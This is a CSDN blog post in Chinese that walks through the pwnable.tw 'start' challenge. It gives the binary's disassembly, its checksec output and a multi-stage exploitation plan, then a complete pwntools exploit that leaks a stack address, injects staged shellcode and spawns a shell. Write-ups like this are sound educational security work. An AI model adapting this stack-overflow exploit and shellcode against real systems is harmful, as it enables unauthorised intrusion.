pwnable.tw start writeup

原创

Anciety 于 2017-09-27 00:28:28 发布 1293 收藏

分类专栏： ctf

本文链接：https://blog.csdn.net/qq_29343201/article/details/78108543

题目

```
.text:08048060
.text:08048060                public _start
.text:08048060 _start         proc near
.text:08048060                push    esp
.text:08048061                push    offset _exit
.text:08048066                xor     eax, eax
.text:08048068                xor     ebx, ebx
.text:0804806A                xor     ecx, ecx
.text:0804806C                xor     edx, edx
.text:0804806E                push    3A465443h
.text:08048073                push    20656874h
.text:08048078                push    20747261h
.text:0804807D                push    74732073h
.text:08048082                push    2774654Ch
.text:08048087                mov     ecx, esp        ; addr
.text:08048089                mov     dl, 14h         ; len
.text:0804808B                mov     bl, 1           ; fd
.text:0804808D                mov     al, 4
.text:0804808F                int     80h             ; LINUX - sys_write
.text:08048091                xor     ebx, ebx
.text:08048093                mov     dl, 3Ch
.text:08048095                mov     al, 3
.text:08048097                int     80h             ; LINUX -
.text:08048099                add     esp, 14h
.text:0804809C                retn
```

输入位置直接就在栈上返回地址开始的位置

checksec

```
[*] '/pwn/start/start'
    Arch:     i386-32-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)
```

什么保护都没开

分析

漏洞根本不用找，直接用就行，利用的时候主要问题在于不能直接ROP，也没法直接输入shellcode，因为输入位置在栈上，没有栈地址也没法用。

于是我使用的利用思路：
1. 泄露栈地址，通过控制执行流之后跳到0x804808b的位置，len这个时候是大于0x14的，于是可以泄露出栈地址，并且之后可以在进行一次读，于是继续控制执行流
2. 第二次控制执行流，写入一阶段shellcode，并且设置rop-chain，先进行一阶段shellcode，之后回到0x8048095进行第三次控制执行流，这里的原因是写入shellcode的空间不够，所以通过分阶段来扩大控制能力。 一阶段shellcode只需要改大dl，也就是读的大小
3. 第三次控制执行流，由于dl已经改大，我们可以输入更大的大小，于是先`sub esp, 0x100`开辟栈空间，否则栈空间与执行位置重合（其实之前的所有操作都是因为我不想自己写shellcode，想直接用pwntools的shellcode，而它的shellcode会用到栈，于是进行了一系列操作。。），然后再执行pwntools的shellcode即可

exp

exp中的各种偏移都是调试时候的内容，由于每次调试的绝对位置不一样，可能数据看起来有些奇怪，不过不是很影响

```python
import sys
from pwn import *
context(os='linux', arch='i386', log_level='debug')

GDB = 1
if len(sys.argv) > 2:
    p = remote(sys.argv[1], int(sys.argv[2]))
else:
    p = process("./start")

def main():
    if GDB:
        raw_input()
    payload = p32(0x804808b) # write
    p.recvuntil('CTF:')
    payload = payload.rjust(0x14 + 4, '\x00')
    p.send(payload)

    raw_input()

    leak = u32(p.recv(0x18 + 4)[-4:]) # b0
    shellcode1_addr = leak - (0xa0 - 0xb8)
    shellcode2_addr = leak - (0x310 - 0x33c + 4) + 8
    shellcode = asm(
        '''
        mov dl, 0xff
        ret
        '''
    )

    payload = ""
    payload = payload.ljust(0x30 - 0x04, '\x90')
    assert len(payload) == 0x30 - 0x04
    payload += p32(shellcode1_addr)
    payload += p32(0x8048095)
    payload += shellcode
    p.send(payload)

    raw_input()

    payload = ""
    payload = payload.ljust(0xf5c - 0xf14, '\x00')
    payload += p32(shellcode2_addr)
    payload += asm("""
        sub esp, 0x100
    """)
    payload += asm(shellcraft.sh())
    p.send(payload)
    raw_input()
    p.interactive()


if __name__ == "__main__":
    main()
```